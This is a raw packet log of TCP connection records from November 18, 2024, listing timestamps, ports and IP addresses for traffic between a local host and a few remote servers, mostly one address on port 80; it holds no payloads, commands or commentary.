Nov 18, 2024 08:55:45.069955111 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.069984913 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.070010900 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.070023060 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.070044994 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.070059061 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.103425026 CET	49911	443	192.168.2.7	13.89.178.26
Nov 18, 2024 08:55:45.103466034 CET	443	49911	13.89.178.26	192.168.2.7
Nov 18, 2024 08:55:45.103530884 CET	49911	443	192.168.2.7	13.89.178.26
Nov 18, 2024 08:55:45.104226112 CET	49912	443	192.168.2.7	152.195.19.97
Nov 18, 2024 08:55:45.104254961 CET	443	49912	152.195.19.97	192.168.2.7
Nov 18, 2024 08:55:45.104487896 CET	49912	443	192.168.2.7	152.195.19.97
Nov 18, 2024 08:55:45.104827881 CET	49911	443	192.168.2.7	13.89.178.26
Nov 18, 2024 08:55:45.104840994 CET	443	49911	13.89.178.26	192.168.2.7
Nov 18, 2024 08:55:45.107836962 CET	49912	443	192.168.2.7	152.195.19.97
Nov 18, 2024 08:55:45.107848883 CET	443	49912	152.195.19.97	192.168.2.7
Nov 18, 2024 08:55:45.154448986 CET	49913	443	192.168.2.7	20.125.209.212
Nov 18, 2024 08:55:45.154484987 CET	443	49913	20.125.209.212	192.168.2.7
Nov 18, 2024 08:55:45.154697895 CET	49913	443	192.168.2.7	20.125.209.212
Nov 18, 2024 08:55:45.154959917 CET	49913	443	192.168.2.7	20.125.209.212
Nov 18, 2024 08:55:45.154977083 CET	443	49913	20.125.209.212	192.168.2.7
Nov 18, 2024 08:55:45.222167015 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222249985 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222274065 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222286940 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222306967 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.222327948 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.222402096 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222414017 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222436905 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222446918 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222453117 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.222459078 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222470999 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222474098 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.222500086 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.222516060 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222523928 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.222528934 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222541094 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222553015 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222554922 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.222563982 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222567081 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.222587109 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.222593069 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222604990 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.222610950 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222624063 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222630024 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.222645998 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.222654104 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222659111 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.222665071 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222682953 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222703934 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222708941 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.222717047 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222729921 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222737074 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.222743988 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222748995 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.222776890 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.222790003 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222805977 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222819090 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222843885 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.222856045 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.222878933 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222891092 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222903013 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222914934 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222917080 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.222929955 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.222943068 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222951889 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.222968102 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222980022 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.222980022 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.222992897 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223004103 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223005056 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223016024 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223016024 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223026037 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223040104 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223067045 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223090887 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223124981 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223205090 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223217964 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223227978 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223238945 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223253012 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223262072 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223278046 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223279953 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223299026 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223304033 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223310947 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223334074 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223334074 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223341942 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223352909 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223359108 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223377943 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223387957 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223395109 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223402023 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223407984 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223423004 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223433971 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223438025 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223453999 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223464966 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223467112 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223474979 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223474979 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223489046 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223500013 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223506927 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223535061 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223536968 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223565102 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223582029 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223589897 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223607063 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223613977 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223618984 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223630905 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223650932 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223651886 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223671913 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223684072 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223699093 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223711014 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223726034 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223742008 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223743916 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223756075 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223767996 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223769903 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223790884 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223803997 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223807096 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223815918 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223824978 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223835945 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223844051 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223848104 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223856926 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223862886 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223875999 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223884106 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223889112 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223898888 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223917007 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223920107 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223932981 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223937988 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223944902 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223965883 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223983049 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.223988056 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.223997116 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224005938 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224018097 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224025965 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.224033117 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224046946 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224050999 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.224060059 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224075079 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.224088907 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.224088907 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224098921 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224108934 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224118948 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.224139929 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.224164963 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.224229097 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224240065 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224257946 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224271059 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224276066 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224287033 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224296093 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.224296093 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.224311113 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224319935 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.224323034 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224340916 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224350929 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.224353075 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224364042 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224380016 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.224383116 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224392891 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224402905 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224411964 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.224417925 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224435091 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224442959 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.224447966 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224458933 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224462986 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.224473953 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224486113 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224494934 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.224503040 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224536896 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224549055 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224554062 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.224554062 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.224559069 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224572897 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224582911 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.224586010 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224596977 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.224598885 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224611044 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224625111 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224636078 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.224639893 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224663973 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.224677086 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.224678040 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224690914 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224701881 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224714041 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224725008 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224728107 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.224737883 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224759102 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.224781036 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.224868059 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224915028 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.224946022 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224967003 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.224982977 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225004911 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225084066 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225100994 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225114107 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225136995 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225136995 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225150108 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225152016 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225169897 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225178957 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225186110 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225191116 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225219011 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225224018 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225239038 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225244999 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225249052 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225259066 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225260973 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225270987 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225275040 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225292921 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225306034 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225317001 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225317955 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225323915 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225333929 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225353956 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225357056 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225378990 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225379944 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225392103 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225403070 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225405931 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225414038 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225424051 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225425005 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225442886 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225442886 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225462914 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225467920 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225475073 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225481033 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225492954 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225505114 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225512028 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225514889 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225528955 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225538969 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225538969 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225548983 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225557089 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225559950 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225580931 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225598097 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225609064 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225614071 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225624084 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225630999 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225645065 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225663900 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225670099 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225681067 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225692987 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225707054 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225724936 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225732088 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225773096 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225785017 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225796938 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225820065 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225824118 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225832939 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225902081 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225913048 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225924969 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.225940943 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.225960016 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.226007938 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.226018906 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.226030111 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.226057053 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.226073027 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.226121902 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.226134062 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.226154089 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.226162910 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.226178885 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.226190090 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.226193905 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.226205111 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.226214886 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.226217031 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.226227999 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.226231098 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.226239920 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.226246119 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.226267099 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.226274014 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.226483107 CET	80	49844	185.215.113.206	192.168.2.7
